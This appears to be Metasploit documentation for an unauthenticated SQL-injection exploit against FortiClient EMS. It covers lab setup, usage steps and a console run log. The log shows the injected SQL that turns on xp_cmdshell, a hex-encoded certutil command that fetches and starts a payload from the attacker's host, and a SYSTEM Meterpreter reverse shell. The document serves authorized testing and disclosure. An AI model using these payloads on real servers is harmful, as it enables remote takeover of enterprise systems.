## Vulnerable Application
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).
FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized
platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which
can be sent directly into database queries.

FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013
and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.
In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable
SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code
execution in the context of NT AUTHORITY\SYSTEM

Affected versions of FortiClient EMS include:
 7.2.0 through 7.2.2
 7.0.1 through 7.0.10

Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.

It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient
EMS for the necessary vulnerable services to be available.

### Setup
You'll need two Windows hosts. One domain controller and one Windows 10 host (a domain controller might not be 100%
necessary however I used one and if you choose not to, your installation mileage may vary). The Windows 10 host will eventually
install the FortiClient EMS Client and will be managed by our FortiClient EMS Server to enable the services required
to exploit this vulnerability on the EMS Server. On the Windows 10 host set the the following Services to the following Startup Types:
 - Task Scheduler: Automatic
 - Windows Installer: Manual
 - Remote Registry: Automatic

Then either disable Windows Firewall completely or configure to allow the following inbound connections:
 - File and Printer Sharing (SMB-In)
 - Remote Scheduled Tasks Management (RPC)

Now on the domain controller download the installer `FortiClientEndpointManagementServer_7.0.7.0398_x64.exe`. You will need
a FortiNet account to request a free trial.

On the domain controller launch the installer. When it completes within the application you will be presented with a sign in page.
Enter username: "admin" with a blank password and click "Sign in" - this will prompt you to create a new password for the admin user.
Then authenticate with the new password.
A pop up window reading: "We didn't find any licenses for this EMS..." click "Try Free" and sign in with your FortiNet
account to request a free trial.

Once FortiClient EMS has been launched, in the left hand side select System Settings > EMS Settings, then under Shared
Settings select "Use FQDN" and input the domain controller's FQDN. Ensure the FQDN is accessible by pinging it from the cmdline.
A pop up window reading: "The server will need to restart..." click "Yes".

Scroll down to "EMS Settings". In the "FortiClient Download URL" replace the IP address with the domain controller's FQDN.
Click save.

Next select System Settings > FortiGuard Services under Cloud Services set the timezone your server is located in.
Click Save.

Under "Deployment & Installers" > "FortiClient Installer" on the right hand side select "Add". A pop up window will appear.

For "Installer Type" select "Choose an official release". For "Release", choose 7.0 and for "Patch" choose 7.0.7 , click next.
For "Name" input "FCT_707" click next.
Keep all the defaults for the Features section and click next.
Keep all the defaults for the Advanced section and click next and then click Finish.

Now you should have a Deployment Package with a Download Link. Navigate to that download link on your Windows 10 host
and download and install the .msi package. Once installed correctly you should see the Windows 10 host appear under the
"Endpoint" tab in the EMS Server. FortiClient EMS Server should now be exploitable.

## Verification Steps

1. Start msfconsole
1. Do: `use windows/http/forticlient_ems_fctid_sqli`
1. Set the `RHOST` and `LHOST` options
1. Run the module
1. Receive a Meterpreter session running in the context of `NT AUTHORITY\SYSTEM`

## Scenarios
### FortiClient EMS 7.07.0398_x64 running on Windows Server 2019 (Domain Controller)
```
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options

Module options (exploit/windows/http/forticlient_ems_fctid_sqli):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.199.200   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8013             yes       The target port (TCP)
   VHOST                    no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      FqgyHVSnYd       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT               8383             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/forticlient_ems_fctid_sqli) >
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:8383
[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable)
[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[*] Sending stage (201798 bytes) to 172.16.199.200
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75
726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025
54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully
[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700

meterpreter > getuid
syServer username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC2
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 16
Meterpreter     : x64/windows
meterpreter >
```
